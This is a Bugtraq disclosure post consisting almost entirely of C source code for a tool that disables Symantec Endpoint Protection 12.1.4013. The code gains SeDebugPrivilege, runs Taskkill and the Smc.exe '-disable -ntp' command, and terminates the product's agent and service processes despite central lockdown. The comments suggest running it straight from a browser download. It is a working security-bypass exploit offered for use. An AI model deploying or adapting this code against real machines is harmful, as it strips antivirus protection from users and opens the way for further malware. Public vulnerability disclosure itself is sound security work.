bugtraq - Symantec EP DOS

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Message-Id: <201601080642.u086g5PY019782@sf01web1.securityfocus.com>
Date: Fri, 8 Jan 2016 06:42:05 GMT
From: hyp3rphp@...il.com
To: bugtraq@...urityfocus.com
Subject: Symantec EP DOS

#include <windows.h>
#include <Tlhelp32.h>
#define SMC_EXE "Smc.exe"
#define SMC_GUI "SmcGui.exe"
#define CC_SVC_HST "ccSvcHst.exe"

/*
By Gerardo Sanchez (hyp3rphp) - Dc 2014 - hyp3rphp.altervista.org
Symantec Endpoint Protection version 12.1.4013
First reported to Symantec - Jan 20, 2015

Goal:
Kill Symantec EP agent & services after globally locking down endpoint protection via the
Symantec central management server and enabling globally managed password protection controls. Tested successfully on Windows 7 SP1 result may vary OS to OS.

Scenario:
Run the from browser upon download or save to some directory and run
Not the most elegant code and I don't care...

*/

void el_crookedio_crosso(const char *victimo){
HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
PROCESSENTRY32 pEntry;
pEntry.dwSize=sizeof(pEntry);
BOOL hRes=Process32First(hSnapShot,&pEntry);

while(hRes){
if(strcmp(pEntry.szExeFile,victimo)==0){
HANDLE hProcess=OpenProcess(PROCESS_TERMINATE,0,(DWORD)pEntry.th32ProcessID);
if (hProcess!=NULL){
TerminateProcess(hProcess,9);
CloseHandle(hProcess);
}
}
hRes=Process32Next(hSnapShot,&pEntry);
}
CloseHandle(hSnapShot);
}

DWORD exeo_de_pid(char *ghostofsin){
DWORD ret=0;
PROCESSENTRY32 pe32={sizeof (PROCESSENTRY32)};
HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hProcSnap==INVALID_HANDLE_VALUE) return 0;
if (Process32First (hProcSnap,&pe32))
do
if (!strcmp(pe32.szExeFile,ghostofsin)) {
ret=pe32.th32ProcessID;
break;
}
while (Process32Next (hProcSnap,&pe32));
CloseHandle (hProcSnap);
return ret;
}

void angelo_maliciouso(){
int AV=exeo_de_pid(SMC_EXE);
char id[8];
sprintf(id, "%d ", AV);
printf("%s", id);
char cmd[50]="Taskkill /F /PID ";
strcat(cmd, id);
system(cmd);

// system("Taskkill /F /IM Smc.exe"); //Access denied.
system("\"C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection\\Smc.exe\" -disable -ntp");

Sleep(1000);

el_crookedio_crosso(SMC_EXE);
el_crookedio_crosso(SMC_GUI);
el_crookedio_crosso(CC_SVC_HST);

}

int main(void){

puts("/*-----------------------------------------------------------*/\n"
);
puts("| EXORCIST DE SYMANTEC Antivirus version 12.1.4013 |\n");
puts("| By hyp3rphp - Jan 2015 |\n");
puts("/*------------------------------------------------------------*/\n
");

SetDebugPrivileges();
angelo_maliciouso();

Sleep(1000);

el_crookedio_crosso(SMC_EXE);
el_crookedio_crosso(SMC_GUI);
el_crookedio_crosso(CC_SVC_HST);

Sleep(2000);
angelo_maliciouso();

Sleep(6000);

return 0;
}

int SetDebugPrivileges(){
DWORD err=0;
TOKEN_PRIVILEGES Debug_Privileges;
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&Debug_Privileges.Privileges
[0].Luid))return GetLastError();
HANDLE hToken=0;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken
)){
err=GetLastError();
if(hToken)CloseHandle(hToken);
return err;
}
Debug_Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
Debug_Privileges.PrivilegeCount=1;

if(!AdjustTokenPrivileges(hToken,FALSE,&Debug_Privileges,0,NULL,NULL)){
err=GetLastError();
if(hToken) CloseHandle(hToken);
}
return err;
}